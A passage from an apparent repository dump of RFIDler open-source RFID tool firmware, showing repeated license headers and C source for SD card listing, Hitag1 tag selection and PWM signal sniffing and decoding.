                       *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/sdcard.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"MDD File System/FSIO.h\"\n#include \"sdcard.h\"\n#include \"util.h\"\n#include \"comms.h\"\n\nBOOL sdcard_test(BOOL quiet)\n{\n    unsigned char attributes, tmp[13];\n    SearchRec rec;\n    BOOL found= FALSE;\n\n    if(!MDD_MediaDetect())\n        if(quiet)\n            return FALSE;\n        else\n            UserMessage(\"%s\", \"\\r\\nInsert card\");\n    while(!MDD_MediaDetect())\n        if(get_user_abort())\n            return FALSE;\n\n    if(!quiet)\n        UserMessage(\"%s\", \"\\r\\nLoading Media\");\n    while (!FSInit())\n        if(get_user_abort() || quiet)\n            return FALSE;\n\n    if(!quiet)\n    {\n        UserMessageNum(\"\\r\\nDetected SD Card size (sectors): %d\", MDD_SDSPI_ReadCapacity());\n        UserMessageNum(\"\\r\\nSector size: %d\", MDD_SDSPI_ReadSectorSize());\n        UserMessage(\"%s\", \"\\r\\nDirectory:\\r\\n\\r\\n\");\n    }\n    attributes= ATTR_MASK;\n    if(!FindFirst(\"*.*\", attributes, &rec))\n        do\n        {\n            found= TRUE;\n            if(quiet)\n                break;\n            memset(tmp, 0x00, 13);\n            memcpy(tmp, rec.filename, 12);\n            UserMessage(\"%s\\t\", tmp);\n            if(rec.attributes & ATTR_DIRECTORY)\n                UserMessage(\"%s\\r\\n\", \"(dir)\");\n            else\n                UserMessageNum(\"%d\\r\\n\", rec.filesize);\n        }\n        while(!FindNext(&rec));\n\n    return found;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/select.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"hitag.h\"\n\n// select specific tag for read/write operations\nBOOL select_tag(BYTE *response, BYTE *uid)\n{\n    BYTE tmp[MAXUID + 1];\n\n    if(strlen(uid) == 0)\n    {\n        if(!get_tag_uid(tmp))\n            return FALSE;\n        uid= tmp;\n    }\n\n    switch(RFIDlerConfig.TagType)\n    {\n        case TAG_TYPE_HITAG1:\n                return hitag1_select(response, uid);\n            break;\n\n        default:\n            return FALSE;\n    }\n}\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/sniff.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"clock.h\"\n#include \"comms.h\"\n#include \"hitag.h\"\n#include \"q5.h\"\n#include \"sniff.h\"\n#include \"tamagotchi.h\"\n#include \"util.h\"\n\n// watch external clock for PWM messages\n// specify minimum gap to look for in us\n// minpulse width (for NFC mode)\n// min gap between messages (for NFC mode)\n// nfcmode => 2 active devices, skip waiting for reader clock to stabilise\nvoid sniff_pwm(unsigned int mingap, unsigned minpulse, unsigned int mesg_gap, BOOL nfcmode)\n{\n    switch(RFIDlerConfig.TagType)\n    {\n        case TAG_TYPE_TAMAGOTCHI:\n            nfcmode= TRUE;\n            if(!mingap)\n                mingap= 50;\n            if(!minpulse)\n                minpulse= 5;\n            if(!mesg_gap)\n                mesg_gap= 1000;\n            break;\n            \n        default:\n            if(!mingap)\n                mingap= 12;\n            break;\n    }\n    do_sniff_pwm(mingap, minpulse, mesg_gap, nfcmode);\n}\n\n// watch external clock for PWM messages\n// specify minimum gap to look for in uS\nvoid do_sniff_pwm(unsigned int mingap, unsigned minpulse, unsigned int mesg_gap, BOOL nfcmode)\n{\n    BOOL            toggle;\n    BOOL            abort= FALSE;\n    unsigned long   count, pulsecount= 0L;\n    unsigned int    len, gaps[DETECT_BUFFER_SIZE], pulses[DETECT_BUFFER_SIZE];\n    \n    // make sure local clock isn't running & switch to input\n    stop_HW_clock();\n\n    COIL_MODE_READER();\n    READER_CLOCK_ENABLE_OFF(LOW);\n    \n    toggle= SNIFFER_COIL;\n    \n    // reader/tag mode - wait for 100 ticks to make sure we're settled\n    if (!nfcmode)\n    {\n        toggle= SNIFFER_COIL;\n        while(count < 100L)\n        {\n            while(SNIFFER_COIL == toggle)\n                // check for user abort\n                if(get_user_abort())\n                    return;\n            ++count;\n            toggle= !toggle;\n        }\n    }\n\n    // watch for gaps / pulses\n    len= 0;\n    GetTimer_us(RESET);\n    while(!abort)\n    {\n        unsigned int j = 0;\n        while(SNIFFER_COIL == toggle)\n        {\n            // check for user abort\n            if((abort= get_user_abort()))\n                break;\n\n            // iff mesg_gap parameter > 0 then look for inter-message gap\n            if ((pulsecount > 0) && (mesg_gap > 0) && (0 == (j++ % 8)))\n            {\n                count= GetTimer_us(NO_RESET);\n                if (count >= mesg_gap)\n                {\n                    pulses[len]= pulsecount;\n                    gaps[len++]= GetTimer_us(RESET);\n                    pulsecount= 0L;\n                    decode_pwm(pulses, gaps, len);\n                    len= 0;\n                    continue;\n                }\n            }\n        }\n        toggle= !toggle;\n        count= GetTimer_us(RESET);\n        // check if it was a gap\n        if (count > (unsigned long) mingap)\n        {\n            // ignore very small pulsecount when sniffing NFC\n            if (!nfcmode || (pulsecount > minpulse))\n            {\n                pulses[len]= (unsigned int) pulsecount;\n                gaps[len++]= (unsigned int) count;\n                pulsecount= 0L;\n            }\n        }\n        else\n            pulsecount += count;\n        if(len == DETECT_BUFFER_SIZE)\n        {\n            decode_pwm(pulses, gaps, len);\n            len= 0;\n        }\n    }\n\n    if (len > 0)\n        decode_pwm(pulses, gaps, len);\n}\n\n// values are in uS\nvoid decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count)\n{\n    unsigned int i;\n    \n    switch(RFIDlerConfig.TagType)\n    {\n        case TAG_TYPE_HITAG1:\n            hitag1_decode_pwm(pulses, gaps, count);\n            break;\n            \n        case TAG_TYPE_HITAG2:\n            hitag2_decode_pwm(pulses, gaps, count);\n            break;\n\n        case TAG_TYPE_Q5:\n        case TAG_TYPE_T55X7:\n            q5_decode_pwm(pulses, gaps, count);\n            break;\n\n        case TAG_TYPE_TAMAGOTCHI:\n            tamagotchi_decode_pwm(pulses, gaps, count);\n            break;\n            \n        default:\n            for(i= 0 ; i < count ; ++i)\n            {\n                UserMessageNum(\"\\r\\nPulse: %d \", pulses[i]);\n                UserMessageNum(\"Gap: %d\", gaps[i]);\n            }\n            break;\n    }\n    UserMessage(\"%s\", \"\\r\\n\");\n}\n\n// convert pwm array to human readable binary\n// terminates at end of first sequence and returns number of samples processed \n// pulse widths in uS\nBYTE generic_decode_pwm(BYTE *result, unsigned int pulses[], unsigned int minpulse, unsigned int maxpulse, unsigned int gaps[], unsigned int mingap, unsigned int maxgap, unsigned int count)\n{\n    unsigned int    one, zero, i;\n    BOOL            sequence= FALSE;\n    \n    // first try to detect size of one and zero blocks\n    // short block is a zero, long is a one\n    for(i= 0, zero= 65535, one= 0 ; i < count ; ++i)\n    {\n        if(gaps[i] >= mingap && gaps[i] <= maxgap && pulses[i] > minpulse && pulses[i] <= maxpulse)\n        {\n            if(pulses[i] > one)\n                one= pulses[i];\n            if(pulses[i] < zero)\n                zero= pulses[i];\n        }\n    }\n    \n    if(zero == 65535 || one == 0)\n        return 0;\n    \n    // decode and return the first sequence\n    for(i= 0 ; i < count ; ++i)\n    {\n        if(gaps[i] >= mingap && gaps[i] <= maxgap)\n        {\n            if(pulses[i] <= maxpulse)\n            {\n                if(approx(pulses[i], zero, 20))\n                    *(result++)= '0';\n                else\n                    *(result++)= '1';\n                sequence= TRUE;\n            }\n            else\n                if(sequence)\n                {\n                   *result= '\\0';\n                   return i + 1;\n                }\n        }\n    }\n    \n    if(!sequence)\n        return 0;\n    \n    *result= '\\0';\n    return i;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/spi.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than 